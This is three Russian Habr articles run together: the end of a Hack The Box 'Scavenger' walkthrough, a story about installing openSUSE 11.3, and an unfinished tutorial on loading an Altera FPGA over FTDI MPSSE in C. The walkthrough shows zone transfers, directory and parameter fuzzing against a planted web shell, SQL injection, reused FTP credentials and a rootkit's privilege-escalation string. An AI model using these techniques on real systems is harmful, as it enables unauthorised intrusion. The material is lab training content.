Из вывода nmap можно обнаружить, что на хосте работают службы FTP, SSH, SMTP (доступна по домену ib01.supersechosting.htb), также служба whois, использующая СУБД MariaDB (засвечено еще одно доменное имя — [www.supersechosting.htb](http://www.supersechosting.htb)), служба DNS и веб-сервер Apache.
Добавляем найденные домены в /etc/hosts.
```
10.10.10.155 scavenger.htb ib01.supersechosting.htb www.supersechosting.htb
```
Давайте попробуем найти еще dns-имена. Попробуем сделать Трансфер зоны DNS с помощью dig.
```
dig axfr supersechosting.htb @10.10.10.155
```
Добавляем данные записи в /etc/hosts.
```
10.10.10.155 scavenger.htb ib01.supersechosting.htb www.supersechosting.htb supersechosting.htb ftp.supersechosting.htb mail1.supersechosting.htb ns1.supersechosting.htb whois.supersechosting.htb
```
Далее пойдем на WHOIS сервис, основное применение которого — получение регистрационных данных о владельцах доменных имён, IP-адресов и автономных систем.
Так как используются SQL базы данных, то отправим запрос с кавычкой и заметим ошибку, выдаваемую сервисом.
Таким образом присутствует SQL инъекция.
Сначала вычисляем количество столбцов, а также ту колонку, которая выводится пользователю.
Так получаем число колонок — 2, и то что выводится первая. Далее узнаем таблицы и названия колонок.
И теперь читаем все домены, которые знает сервис.
Находим новые имена, которые добавляем в /etc/hosts.
```
10.10.10.155 scavenger.htb ib01.supersechosting.htb www.supersechosting.htb supersechosting.htb ftp.supersechosting.htb mail1.supersechosting.htb ns1.supersechosting.htb whois.supersechosting.htb justanotherblog.htb pwnhats.htb rentahacker.htb
```
Теперь выполним трансфер зоны с найденного имени.
Таким образом, находя новые имена, дополняем файл /etc/hosts
```
10.10.10.155 scavenger.htb ib01.supersechosting.htb www.supersechosting.htb supersechosting.htb ftp.supersechosting.htb mail1.supersechosting.htb ns1.supersechosting.htb whois.supersechosting.htb justanotherblog.htb pwnhats.htb rentahacker.htb www.justanotherblog.htb www.pwnhats.htb www.rentahacker.htb sec03.rentahacker.htb
```
Обойдя все сайты, ничего существенного не имеем, кроме одного сообщения с [www.rentahacker.htb](http://www.rentahacker.htb), из которого делаем вывод, что сервис уже был взломан.
И переходя к sec03.rentahacker.htb видим тому подтверждение.
Просканируем директории и файлы с помощью gobuster. Укажем словарь из dirb, количество потоков 120, также интересующие коды ответов сервера и допустимую задержку ответа 20 секунд.
```
gobuster dir -w /usr/share/wordlists/dirb/big.txt -t 120 -e -x php -u http://sec03.rentahacker.htb/ -s "200,204,301,302,307,401" --timeout 20s
```
Находим интересную страницу — shell.php, при обращении к которой, ничего не происходит. Скорее всего это происходит, так как мы обращаемся к странице без параметров. Давайте переберем параметры с помощью wfuzz, указав в параметрах список, и то что количество слов в ответе не должно быть равным 0.
```
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hw 0 http://sec03.rentahacker.htb/shell.php?FUZZ=id
```
Находим параметр, проверим его.
Проверим директорию /home.
Теперь осмотримся в домашней директории пользователя.
Просматриваем конфиги WordPress и получаем логин и пароль пользователя для подключения к базе данных.
К SSH данный пароль не подошел, но подошел к ftp и это нам ничего не дало. На хосте работает почтовая служба, поэтому есть смысл проверить сообщения пользователя.
И находим еще одни учетные данные. Скачиваем все что есть на FTP.
```
wget -m --no-passive ftp://ib01ftp:YhgRt56_Ta@ftp.supersechosting.htb
```
Заходим в директорию, в которую скачали файлы и смотрим, что имеем. Там записка, лог и дамп трафика.
Откроем Wireshark и посмотрим, что там. Судя по логу, нас интересует HTTP сессия, давайте посмотрим все HTTP объекты: Файл -> Экспортировать объекты -> HTTP.
Из всего, что было представлено, сохраним код root.c
Далее перейдем в основное окно Wireshark и проверим какие-нибудь учетные данные. Так имеем три POST запроса, в них передается пароль.
Данный пароль подошел для аутентификации в FTP.
Также имеется странная директория — “...”. В ней лежал собранный root.ko.
Давайте проанализируем исходный код.
С самого начала становится ясно, с каким устройством мы имеем дело. Проверим, имеется ли это устройство в системе.
Все верно, устройство есть. В коде нас интересует одна функция, которая после проверки поданной на вход строки, предоставит доступ от имени пользователя с uid равным 0, то есть root.
Теперь откроем программу в декомпиляторе и найдем функцию root\_write.
Код немного изменен и вместо строки g0tROot верная строка — g3tPr1v. Вернемся к первоначальному шелу и после получения прав root посмотрим его домашнюю директорию.
Забираем флаг.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/490602/ | null | ru | null |
# Установка openSUSE 11.3 с помощью чайника
#### Преамбула
Я — «виндузятник», старательно стремящийся приобщиться к миру Linux. Моей главной целью было «вживую» увидеть KDE4.\*, для чего и был выбран дистрибутив openSUSE 11.3. Собственно, выбирать было особо не из чего, т.к. такие объемы данных я могу получать только из DVD журнала «Хакер», а все другие дистры, которые у меня есть, оказались с Gnome.
Пару месяцев назад взамен давно утраченному ноутбуку я купил нетбук, естественно, без DVD-привода. И это особо не напрягало: Windows я установил с помощью флэш-драйва на 4 гибайта, а файлы просто копирую с другого ноутбука через кросс-кабель.
Но тут пришло время Linux…
#### Много fail'ов и один success
Что ж… Копируя на свой жесткий файл opensuse-i386-11.3.iso я даже не представлял, сколько часов я потрачу на установку «хамелеона».
Естественно, первым в дело пошел практически самый простой способ:
##### Flash-drive + ISO
Вооружившись своим боевым, видавшим десятки имэйджей, тысячи файлов, пару перепрошивок контроллера, и неимоверно глючащим драйвом Kingston DT100 и UNetbootin, я принялся сажать хамелеона на чип.
Образ не влез на диск. Сказать больше нечего. Fail.
##### VirtualBox + реальный раздел
В журнале «Хакер» был опубликован якобы весьма распространенный способ установки разных ОС из-под Windows: подключение реального жесткого диска (или отдельного раздела) к виртуальной машинке.
Итак, что нам нужно:
1. переходим в папку с VirtualBox и командуем:
`VBoxManage internalcommands createrawvmdk -filename d:\realhd.vmdk -rawdisk \\.\PhysicalDrive0`
2. создаем новую ВМ. выделяя ей побольше ресурсов, и подключаем полученный файл `d:\realhd.vmdk` как жесткий диск;
3. подключаем имеющийся у нас образ с дистрибутивом;
4. запускаем.
Работает. Но такое ощущение сохранилось ровно до тех пор, пока я не вспомнил, что внутри моего калькулятор стоит Atom, пусть и N550. Перемещение курсора — с огромной задержкой, про реакцию на нажатия молчу.
В итоге, всеми правдами и неправдами установка доходит до разбивки диска на разделы и их монтирования. Вот он и затык. До этого момента я доходил и проваливался на нем 3 или 4 раза:
1. ошибка монтирования разделов NTFS;
2. проверка предыдущего;
3. отменил монтирование. Получил ошибку при разрезании диска.
В общем, я стал грешить на ВиртуалБокс и кривое его подключение к физическому диску (а ведь зря, и дальнейшие эксперименты это подтвердили).
На сим терпение иссякло, диск лег на полочку, образ отправился в корзинку, я полез при«ман»ивать более продуктивные способы реализации своих коварных планов… Ах, да: fail.
##### GRUB4DOS + ISO
Перелопачивая папку с дистрибутивами различных программ, я набрел на WinSetup. Но речь сейчас не о «сетупе», а о волшебной штуке, которая является для него служебной — GRUB4DOS.
Я уже как-то читал, что он способен напрямую загружать ОС из ISO, но первые попытки успехом не увенчались — а перезагружаться каждый раз было тяжко (тогда и ВМ у меня не подключалась к HD, и о командной строке в Grub я не знал). Применим же более научный метод — чтение темплейтов конфигов.
Но сперва, используя `grubinst_gui.exe` установим загрузчик на диск.
Дабы не сильно вмешиваться в жизнь ОСей, у меня заранее был заготовлен стомегабайтный раздел (как оказалось, так в последствии меньше возни и больше вкусных плюшек).
Итак:
1. выбираем жесткий диск;
2. обновляем Part List с помощью кнопки «Refresh», в заполнившемся списке выбираем необходимый раздел, ориентируясь на ФС и размер тома.
3. cтавим галку «Grub 2» и устанавливаем («Install»);
4. копируем файлы груба в корень истерзанного раздела и принимаемся за меню, в моем случае добавились такие пункты:
`# Так как Груб встал на первый раздел (hd0,0) и при установке не затер
# собственный бутлоадер 7ки, можно указывать просто загрузочнй диск.
title Windows 7
rootnoverify (hd0,1)
chainloader +1
# Мой образ лежит по дороге "d:\sys\Images\openSUSE11.3.iso"
# Не забываем заменит Win-слэши (обратные) на *nix-слэши (прямые)
title Install openSUSE 11.3
map (hd0,2)/sys/Images/openSUSE11.3.iso (hd32)
map --hook
chainloader (hd32)`
Еще один важный момент: образ должен быть contiguous, без дыр или, проще говоря, дефрагментирован. Воспользуемся советом Груба и призовем утилиту contig из комплекта Sysinternals:
`contig d:\sys\Images\*`
Перезагружаемся, выбираем второй пункт меню. Установщик. Текстовый. Просит вставить диск за нумеромъ первымъ. Сыграем в дурачка и нажмем «Отмена». Настройки… подсунем-ка ему исошник в качестве репозитория… Не вышло. Ну и ладно. Fail.
##### Перекур и обдумывание
Слышу, слышу свисты маститых и не очень линуксоидов и улюлюканья гуру командной строки. Крики «Погугли!»…
Конечно можно было бы, но… глубокая Адыгея, модем «Билайн», скорость 32Kb/s… Лучше уж научный тык.
В общем, путем тыканья пальцем в экран и мозг образовались дополнительные методы.
##### Flash-drive + урезанный ISO
Возвращаюсь к первому пункту, беру ISO и натравливаю на него UltraISO — да только rpm-щепки летят. Образ «худеет» на полгигабайта и теперь вполне помещается на флешку.
На этот раз диск я писал с помощью WinSetup (подробная инструкция прилагается к дистру), т.к. запись, сделанная UNetbootin «не заиграла».
Перезагружаемся. И хамелеоновский YaST отсылает нас к 4-му пункту, а именно — текстовый установщик и ни намека на подключенный дистрибутив. Fail.
##### GRUB4DOS + ISO + распакованный образ на ntfs-разделе (надежда на сукцесс)
Переходим к следующей вехе извращений — распакованные образы.
Раз уж текстовый установщик позволяет подключить к себе папку, воспользуемся этим.
1. с помощью архиватора (7Zip, WinRAR) или путем монтирования в виртуальный CD-драйв извлечем содержимое диска в папку на HDD (у меня это NTFS-раздел), например «d:\suse»;
2. добьемся появления текстового загрузчика — я загружался с помощью 3-го способа.
3. запускаем виртуалку и пробуем. Лицо расплывается в довольной улыбке — после текстового сразу загрузился графический инсталлятор, даже без вопросов (ну почему-у меня это не насторожило?),- пальцы крэшат ВМ и перезагружают бедный нетбук.
4. загружаем наш инсталлер и улыбка потихоньку сползает: все тот же вопрос «Где диск?», на указанную папку не реагирует. Самый позорный фэйл.
А все потому что кое-кто ~~(руки бы ему оторвать)~~ не отмонтировал ISO от ВМ при тесте! Стыдно, товарищи!
##### GRUB4DOS + ISO + распакованный образ на ext2-разделе (новая надежда)
Терпение на исходе, мозг закипает. Закипает и не знает, что успех так близок…
На меня, по всей видимости, спустилось озарение, и догадался положить дистрибутив на linux-раздел. Но и тут все оказалось не так просто.
PartedMagic отказался запускаться. По всем вышеизложенным причинам.
Хорошо, что в VirtalBox у меня уже стояла Ubuntu. В принципе, не важно, какой дистриб, лишь бы в нем можно было сконфигурировать разделы.
1. подключаем к убунту наш реально-виртуальный диск `realhd.vmdk`;
2. делим нашу неразмеченную область на дополнительные разделы — я не заморачивался и сделал два — для / и для swap. Форматируем в ext4;
3. монтируем наш будущий корневой каталог (пусть будет `/media/suse`);
4. подключаем ISO-образ и копируем содержимое в папку `/media/suse/suse_inst/`;
5. Reset, ибо на горячий рестарт сил уже нет. Шутка, нельзя так делать ~~:)~~;
6. делаем все так, как и в предыдущие разы — текстовый инсталлер -> папка (теперь уже на ext4, а не на NTFS) -> появился графический инсталлятор -> соглашение и первичная настройка -> разметка диска, здесь нужно от всего отказаться. выбрав ручную настройку и примонтировать наши разделы. Swap, естественно, подцепился без проблем. А вот рут… Оказалось, что нельзя монтировать и, соответственно, устанавливать на диск, где лежат установочные файлы — чтобы случайно их не повредить. Вот так-то. Fail.
##### GRUB4DOS + распакованный ISO на отдельном ext2-разделе
Делаем все тоже самое, что и в предыдущей попытке, кроме пунктов 2,3,4 — мы должны создать еще один дополнительный раздел (я сделал ext2), на который помещаем дистрибутив, который и указываем при установке как репозиторий.
Success.
#### Дополнительные косячки
1. Очень внимательно следите за тем, что предлагает сделать openSUSE в автоматическом режиме. У меня, например, он захотел затереть все существующие разделы и заюзать весь диск под свои нужды (хотя под виртуалкой такого не было).
2. Хамелеонка не смог создать в существующем Грубе записи для себя, поэтому я вообще не стал ставить загрузчик для него. Чтобы сделать также, нужно записать всю инфу, которую он хочет поместить в лоадер — ядра и их параметры, а после установки присоединить их к Grub. У меня вышло так:
`title openSUSE 11.3 Desktop
kernel (hd0,6)/boot/vmlinuz-2.6.34-12-desktop root=/dev/disk/by-id/ata-SAMSUNG_HM321HI_S26VJ9FB404025-part7 resume=/dev/disk/by-id/ata-SAMSUNG_HM321HI_S26VJ9FB404025-part5 splash=silent quiet showopts
initrd (hd0,6)/boot/initrd-2.6.34-12-desktop
title Xen
kernel (hd0,6)/boot/vmlinuz-2.6.34-12-xen root=/dev/disk/by-id/ata-SAMSUNG_HM321HI_S26VJ9FB404025-part7 resume=/dev/disk/by-id/ata-SAMSUNG_HM321HI_S26VJ9FB404025-part5 splash=silent quiet showopts
initrd (hd0,6)/boot/initrd-2.6.34-12-xen
title openSUSE 11.3 Failsafe
kernel (hd0,6)/boot/vmlinuz root=/dev/disk/by-id/ata-SAMSUNG_HM321HI_S26VJ9FB404025-part7 showopts apm=off noresume nosmp maxcpus=0 edd=off powersaved=off nohz=off highres=off processor.max_cstate=1 nomodeset x11failsafe
initrd (hd0,6)/boot/initrd`
3. при установке не монтируйте NTFS-разделы — у меня это приводило к ошибке.
#### Заключение
Вот такими тернистыми путями и стал я обладателем openSUSE 11.3. Вопросов было много, появилось же еще больше. Но это уже совсем другая история…
**P.S.** Прошу прощения за отсутствие скриншотов, но я не смог пройти через этот ад еще раз. | https://habr.com/ru/post/123872/ | null | ru | null |
# Загрузка конфигурации в ПЛИС через USB или разбираем FTDI MPSSE
В жизни каждого плисовода наступает момент, когда требуется написать собственный загрузчик файла конфигурации в ПЛИС. Пришлось мне участвовать в разработке учебного стенда для кафедры одного технического вуза. Стенд предназначен для изучения цифровой обработки сигналов, хотя в рамках этой статьи это не имеет особого значения. А значение имеет то, что в основе стенда стоит ПЛИС (Altera Cyclone IV), на которой по задумке автора стенда студенты собирают всякие схемы ЦОС. Стенд подключается к компьютеру через USB. Требуется выполнить загрузку ПЛИС с компьютера через USB.
Принято решение для подключения к ПК использовать FTDI в ее двухканальной ипостаси — FT2232H. Один канал будет использован для конфигурации ПЛИС, другой может быть использован для высокоскоростного обмена в режиме FIFO.
У FTDI есть отладочная плата [MORPH-IC-II](https://www.ftdichip.com/Products/Modules/DevelopmentModules.htm#Morph-IC), где через USB прошивается ПЛИС Cyclone II. Принципиальные схемы в свободном доступе. Исходные коды загрузчика частично открыты: сам загрузчик доступен, однако вся логика работы с FTDI вынесена в закрытую библиотеку и не может быть модифицирована. По правде сказать, изначально я планировал в своем проекте использовать этот загрузчик, ну или на крайний случай сделать свою оболочку на базе их dll. Загрузка прошивки в ПЛИС осуществляется в пассивном последовательном режиме (passive serial — PS), FTDI работает в режиме MPSSE. На макетной плате работоспособность решения MORPH-IC-II была полностью подтверждена, однако проблема, как оно часто бывает, пришла откуда не ждали. Выяснилось, что при работе dll MORPH-IC-II все подключенные устройства FTDI блокируются, а в составе учебного комплекса есть еще два устройства с подобными преобразователями: генератор и анализатор сигналов. Одновременная работа с ними не представляется возможной. Чертовски странно и досадно.
Похожий кейс реализован у ребят из Марсохода: [USB JTAG программатор MBFTDI](https://marsohod.org/prodmbftdi). Там тоже используется FTDI в режиме MPSSE, только в отличии от MORPH-IC-II работа с ПЛИС происходит в режиме JTAG. Исходники в свободном доступе, однако внятного указания на их статус (лицензии) я не нашел. Поэтому использовать их в коммерческом проекте у меня рука не поднялась.
Исправлю такую оплошность, все, что будет представлено в рамках данной статьи, выложено в открытый репозиторий под лицензией BSD.
Загрузка файла конфигурации в микросхему ПЛИС
---------------------------------------------
В первую очередь стоит разобраться с режимом загрузки ПЛИС. Для тех, кто только начинает знакомится с темой, проведу маленький экскурс. Хотя на моей плате установлена ПЛИС Altera (Intel) семейства Cyclone IV E, методы загрузки аналогичны для всей группы ПЛИС Cyclone, и есть подозрение, что в том или ином виде подходят для многих других семейств.
В ПЛИС данного типа используется энергозависимая SRAM для хранения конфигурационных данных. Эти конфигурационные данные определяют функционал итогового устройства. На профессиональном жаргоне эти данные часто называют "прошивкой". Таким образом, прошивка хранится в специальном ОЗУ и каждый раз при включении устройства должна быть загружена в кристалл ПЛИС. Существует несколько способов (схем конфигурации), которыми прошивка может быть загружена в SRAM (список актуален для Cyclone IV E):
1. Активный последовательный (Active serial (AS)).
2. Активный параллельный (Active parallel (AP)).
3. Пассивный последовательный (Passive serial (PS)).
4. Быстрый пассивный параллельный (Fast passive parallel (FPP)).
5. JTAG.
Выбор конкретного режима загрузки выполняется с помощью внешних выводов ПЛИС (группа MSEL). Режим JTAG доступен всегда. Активный режим подразумевает, что при подаче питания ПЛИС самостоятельно вычитывает данные из внешней памяти (последовательной или параллельной). В пассивном режиме ПЛИС ждет, когда внешний носитель в инициативном порядке передаст ей данные конфигурации. Данные схемы хорошо укладываются в концепцию ведущий (Master) — ведомый (Slave). В активных режимах ПЛИС выступает в качестве ведущего, а в пассивных — в качестве ведомого.
В рассматриваемой задаче не ПЛИС, а пользователь должен решать, когда должна обновляться прошивка, поэтому режим загрузки должен быть пассивным. А для экономия ножек микросхемы выбираем последовательный интерфейс. Здесь подходит пассивный последовательный (PS) режим и JTAG. Логика работы JTAG несколько сложнее, поэтому остановимся на первом варианте.
Ниже на рисунке показана схема подключения ПЛИС к внешнему контроллеру для загрузки в режиме PS.
Для начала конфигурации внешний ведущий контроллер должен генерировать переход из низкого уровня в высокий на линии *nCONFIG*. Как только ПЛИС будет готова к приему данных, она сформирует высокий уровень на линии *nSTATUS*. После чего ведущий может начать передавать данные по линии *DATA[0]*, а соответствующие тактовые импульсы — по линии *DCLK*. Данные должны передаваться в целевое устройство до тех пор, пока на линии *CONF\_DONE* не установится высокий уровень (или данные не закончатся), при этом ПЛИС перейдет в состояние инициализации. Следует учесть, что после того как *CONF\_DONE* установилась в единицу, нужно подать еще два тактовых импульса, чтобы началась инициализация ПЛИС.
Данные передаются младшим значащим разрядом (LSB) вперед, то есть, если конфигурационный файл содержит последовательность 02 1B EE 01 FA (пример взять как есть из Handbook), на линии данных должна быть сформирована последовательность:
```
0100-0000 1101-1000 0111-0111 1000-0000 0101-1111
```
Таким образом, используется всего пять линий: линии *DATA[0]* и *DCLK* — для последовательной передачи, линии *nCONFIG*, *nSTATUS*, *CONF\_DONE* — для управления.
По своей сути режим PS есть не что иное, как SPI с дополнительной манипуляцией флагами.
Скорость передачи данных должна быть ниже указанной в документации максимальной частоты, для используемой в проекте серии Cyclone IV E — это 66 МГц.
Минимальной же частоты передачи не существует, теоретически можно приостановить конфигурацию на неопределенное время. Это дает отличные возможности пошаговой отладки с участием осциллографа, чем мы непременно воспользуемся.
На рисунке ниже показана временная диаграмма интерфейса с наиболее значащими таймингами.
Хитрый зверь MPSSE
------------------
Рассмотрим работы FTDI в режиме MPSSE. Режим MPSSE (Multi-Protocol Synchronous Serial Engine), на мой взгляд, является более-менее удачной попыткой создать некий конструктор последовательных интерфейсов, дать разработчику возможность реализовать широко распространенные протоколы передачи данных, такие как SPI, I2C, JTAG, 1-wire и многие другие на их основе.
В настоящий момент режим доступен для микросхем: FT232H, FT2232D, FT2232H, FT4232H. В своем проекте я использую FT2232H, поэтому в большей степени речь идет о ней. Для режима MPSSE выделено 16 ножек, разделенных на два байта: младший L и старший H. Каждый байт может быть прочитан или установлен. Четыре младшие ноги байта L имеют особые функции — через них может происходить последовательная передача данных. Каждая нога может быть настроена как вход или выход, для вывода может быть задано значение по умолчанию. Для последовательной передачи настраивается порядок следование бит (MSB/LSB), длина передаваемого слова, частота тактовых импульсов, фронт синхронизации — передний (Rising) или задний (Falling), можно выбрать передачу только тактовых импульсов без данных, или выбрать 3-х фазовое тактирование (актуально для I2C) и многое другое.
Плавно переходим к программированию. Существуют два альтернативных способа программного взаимодействия с чипами FTDI: первый, назовем его классическим, в этом случае при подключении к порту USB микросхема в системе определяется как виртуальный последовательный порт (COM), операционная система использует драйвер VCP (Virtual COM Port). Все дальнейшее программирование не отличается от программирования классического COM порта: открыл — передал/считал — закрыл. Причем это справедливо для различных операционных систем, включая Linux и Mac OS. Однако при таком подходе не получится реализовать все возможности контроллера FTDI — чип будет работать как переходник USB-UART. Второй способ обеспечивается проприетарной библиотекой FTD2XX, это интерфейс предоставляет специальные функции, которые не доступны в стандартном API COM порта, в частности, доступна настройка и использование специальных режимов работы, таких как MPSSE, 245 FIFO, Bit-bang. Библиотека FTD2XX API хорошо задокументирована [Software Application Development D2XX Programmer's Guide](https://www.ftdichip.com/Support/Documents/ProgramGuides/D2XX_Programmer's_Guide(FT_000071).pdf), широко и давно известна в узких кругах. И да, FTD2XX также доступна для различных операционных систем.
Перед разработчиками FTDI стояла задача уложить относительно новый MPSSE в существующую программную модель взаимодействия D2XX. И им это удалось, для работы в режиме MPSSE используется тот же набор функций, что и для других "классических" режимов, используется та же библиотека FTD2XX API.
Если коротко, то алгоритм работы в режиме MPSSE можно описать следующим образом:
1. Найти девайс в системе и открыть его.
2. Выполнить первичную инициализацию чипа и перевести его в режим MPSSE.
3. Настроить режим работы MPSEE.
4. Непосредственная работа с данными: передаем, принимаем, управляем GPIO — реализуем целевой протокол обмена.
5. Закрыть девайс.
Пишем загрузчик
---------------
Приступим к практической части. В своих экспериментах в качестве IDE я буду использовать Eclipse версии Oxygen.3a Release (4.7.3a), в качестве компилятора — mingw32-gcc (6.3.0). Операционная система Win7.
С сайта [FTDI](https://www.ftdichip.com/Drivers/D2XX.htm) скачиваем последнюю актуальную версию драйвера для своей операционной системы. В архиве находим заголовочный файл ftd2xx.h с описанием всех функций API. Сам API реализован в виде ftd2xx.dll, но динамический импорт оставим на потом, и воспользуемся статической линковкой: нам понадобится файл библиотеки ftd2xx.lib. Для моего случая ftd2xx.lib лежит в каталоге i386.
В Eclipse создаем новый Си проект. Создание *makefile* можно доверить IDE. В настройках линковшика указываем путь и название библиотеки ftd2xx (я требуемые файлы перенес в директорию проекта в папочку ftdi). Я не буду заострять внимание об особенностях настройки проекта под Eclipse, так как подозреваю, что большинство для программирования под Win использует другие среды и компиляторы.
### Пункт первый. Найти девайс и открыть его
FTD2XX API позволяет открыть чип используя ту или иную известную информацию о нем. Это может быть его порядковый номер в системе: первая подключенная микросхема FTDI примет номер 0, последующая 1 и так далее. Номер в системе определяется порядком подключения микросхем, мягко говоря, это не всегда удобно. Для открытия чипа по номеру используется функция `FT_Open`. Открыть чип можно по его серийному номеру (`FT_OPEN_BY_SERIAL_NUMBER`), описанию (`FT_OPEN_BY_DESCRIPTION`) или по расположению (`FT_OPEN_BY_LOCATION`), для этого используется функция `FT_OpenEx`. Серийный номер и описание хранятся во внутренней памяти чипа и могут быть записаны туда при производстве прибора в составе которого установлен FTDI. Описание, как правило, характеризует тип прибора либо семейство, а серийный номер должен быть уникальным для каждого изделия. Поэтому, наиболее удобным вариантом идентификации поддерживаемых разрабатываемой программой приборов является его описание. FTDI чип будем открывать по описанию (дескриптору). Фактически, если нам изначально известна строка дескриптора чипа, то и искать прибор в системе не нужно, однако в порядке эксперимента, выведем все подключенные к компьютеру приборы с FTDI. С помощью функции `FT_CreateDeviceInfoList` создадим подробный список подключенных чипов, а с помощью функции `FT_GetDeviceInfoList` считаем его.
**Список подключенных устройств. Листинг:**
```
ftStatus = FT_CreateDeviceInfoList(&numDevs);
if (ftStatus == FT_OK)
{
printf("Number of devices is %d\n",numDevs);
}
if (numDevs == 0)
return -1;
// allocate storage for list based on numDevs
devInfo = (FT_DEVICE_LIST_INFO_NODE*)malloc(sizeof(FT_DEVICE_LIST_INFO_NODE)*numDevs);
ftStatus = FT_GetDeviceInfoList(devInfo,&numDevs);
if (ftStatus == FT_OK)
for (int i = 0; i < numDevs; i++)
{
printf("Dev %d:\n",i);
printf(" Flags=0x%x\n",devInfo[i].Flags);
printf(" Type=0x%x\n",devInfo[i].Type);
printf(" ID=0x%x\n",devInfo[i].ID);
printf(" LocId=0x%x\n",devInfo[i].LocId);
printf(" SerialNumber=%s\n",devInfo[i].SerialNumber);
printf(" Description=%s\n",devInfo[i].Description);
}
```
**Поприветствуем мой зоопарк**
```
D:\workspace\ftdi-mpsse-ps\Debug>ftdi-mpsse-ps.exe
Number of devices is 4
Dev 0:
Flags = 0x0
Type = 0x5
ID = 0x4036001
LocId = 0x214
SerialNumber = AI043NNV
Description = FT232R USB UART
Dev 1:
Flags = 0x2
Type = 0x6
ID = 0x4036010
LocId = 0x2121
SerialNumber = L731T70OA
Description = LESO7 A
Dev 2:
Flags = 0x2
Type = 0x6
ID = 0x4036010
LocId = 0x2122
SerialNumber = L731T70OB
Description = LESO7 B
Dev 3:
Flags = 0x2
Type = 0x8
ID = 0x4036014
LocId = 0x213
SerialNumber = FTYZ92L6
Description = LESO4.1_ER
```
К моему ПК подключено три прибора с чипами FTDI: FT232RL (type 0x5), FT2232H (type 0x6) и FT232H (tepe 0x8). Чип FT2232H в системе отобразился как два независимых прибора (Dev 1 и Dev 2). Интерфейс PS ПЛИС подключен к Dev 2, его дексриптор "LESO7 B". Открываем его:
```
//Open a device with device description "LESO7 B"
ftStatus = FT_OpenEx("LESO7 B", FT_OPEN_BY_DESCRIPTION, &ftHandle);
if (ftStatus != FT_OK)
{
printf ("Оpen failure\r\n");
return -1;
}
```
Большинство функций API возвращают статус своего вызова типа `FT_STATUS`, все возможные значения описаны в виде enum'а в заголовочном файле. Их много, но достаточно знать, что значение `FT_OK` — отсутствие ошибки, все остальные значения — коды ошибок. Хорошим стилем программирования будет проверять значение статуса после каждого вызова функции API.
Если устройство было успешно открыто, то в переменной `ftHandle` появляется некоторое значение отличное от нуля, некоторый эквивалент файлового дескриптора, который используется при работе с файлами. Полученный хендл устанавливает связь с аппаратным интерфейсом и должен быть использован при вызове всех функций библиотеки, которым требуется доступ к чипу.
Для того, чтобы на практике подтвердить работоспособность системы для текущего этапа, нам следует перейти сразу к пункту пять нашего алгоритма.
После завершения работы с чипом, его нужно закрыть. Для этого используется функция `FT_Close`:
```
FT_Close(ftHandle);
```
### Пункт 2. Инициализируем чип и включаем MPSSE
Настройка типичная для большинства режимов и хорошо описана в документации [AN\_135 FTDI MPSSE Basics](https://www.ftdichip.com/Support/Documents/AppNotes/AN_135_MPSSE_Basics.pdf).
1. Выполняем сброс (резет) чипа. Функция `FT_ResetDevice`.
2. На случай, если в буфере приема завалялся какой-то мусор, очищаем его. Функция `FT_Purge`.
3. Настраиваем размер буферов для чтения и записи. Функция `FT_SetUSBParameters`.
4. Отключаем контроль четности. `FT_SetChars`.
5. Задаем таймауты на чтение и запись. По умолчанию таймауты отключены, включаем таймаут на передачу. `FT_SetTimeouts`.
6. Настраиваем время ожидания отправки пакета с чипа на хост. По умолчанию 16 мс, ускоряем до 1 мс. `FT_SetLatencyTimer`.
7. Включаем для синхронизации входящих запросов управление потоком. `FT_SetFlowControl`.
8. Все готово для активации режима MPSSE. Сбрасываем контроллер MPSSE. Используем функцию `FT_SetBitMode`, устанавливаем режим 0 (mode = 0, mask = 0).
9. Включаем режим MPSSE. Функция `FT_SetBitMode` — mode = 2, mask = 0.
Открытие и настройку чипа объединяем в функцию `MPSSE_open`, в качестве параметра передаем строку с дескриптором открываемого прибора:
**Листинг MPSSE\_open**
```
static FT_STATUS
MPSSE_open (char *description)
{
FT_STATUS ftStatus;
ftStatus = FT_OpenEx(description, FT_OPEN_BY_DESCRIPTION, &ftHandle);
if (ftStatus != FT_OK)
{
printf ("open failure\r\n");
return FT_DEVICE_NOT_OPENED;
}
printf ("open OK, %d\r\n", ftHandle);
printf("\nConfiguring port for MPSSE use...\n");
ftStatus |= FT_ResetDevice(ftHandle);
//Purge USB receive buffer first by reading out all old data from FT2232H receive buff:
ftStatus |= FT_Purge(ftHandle, FT_PURGE_RX);
//Set USB request transfer sizes to 64K:
ftStatus |= FT_SetUSBParameters(ftHandle, 65536, 65536);
//Disable event and error characters:
ftStatus |= FT_SetChars(ftHandle, 0, 0, 0, 0);
//Sets the read and write timeouts in milliseconds:
ftStatus |= FT_SetTimeouts(ftHandle, 0, 5000);
//Set the latency timer to 1mS (default is 16mS):
ftStatus |= FT_SetLatencyTimer(ftHandle, 1);
//Turn on flow control to synchronize IN requests:
ftStatus |= FT_SetFlowControl(ftHandle, FT_FLOW_RTS_CTS, 0x00, 0x00);
//Reset controller:
ftStatus |= FT_SetBitMode(ftHandle, 0x0, FT_BITMODE_RESET);
//Enable MPSSE mode:
ftStatus |= FT_SetBitMode(ftHandle, 0x0, FT_BITMODE_MPSSE);
if (ftStatus != FT_OK)
{
printf("Error in initializing the MPSSE %d\n", ftStatus);
return FT_OTHER_ERROR;
}
Sleep(50); // Wait for all the USB stuff to complete and work
return FT_OK;
}
```
### Пункт 3. Настроим режим работы MPSEE
Собственно, на этом этапе процессор MPSSE активирован и готов к приему команд. Команды представляют собой байтовые последовательности, первый байт которых — "op-code", далее следуют параметры команды. Команда может не иметь параметров и состоять из одного "op-code". Команды передаются с помощью функции `FT_Write`, ответ от процессора MPSSE можно получить с помощью функции `FT_Read`.
После каждой отправки команды полезно вычитать ответ процессора, так как в случае неверной команды ответ может содержать сообщение об ошибке — символ 0xFA. Механизм "плохая команда — ответ 0xFA" можно использовать для синхронизации прикладной программы с процессором MPSSE. Если все ОК, тогда на заведомо ошибочную команду чип вернет символ 0xFA. Op-code описаны в [Command Processor for MPSSE and MCU Host Bus Emulation Mode](https://www.ftdichip.com/Support/Documents/AppNotes/AN_108_Command_Processor_for_MPSSE_and_MCU_Host_Bus_Emulation_Modes.pdf).
Настройка MPSSE сводится к заданию скорости передачи данных, направления и начальных состояний линий ввода-вывода.
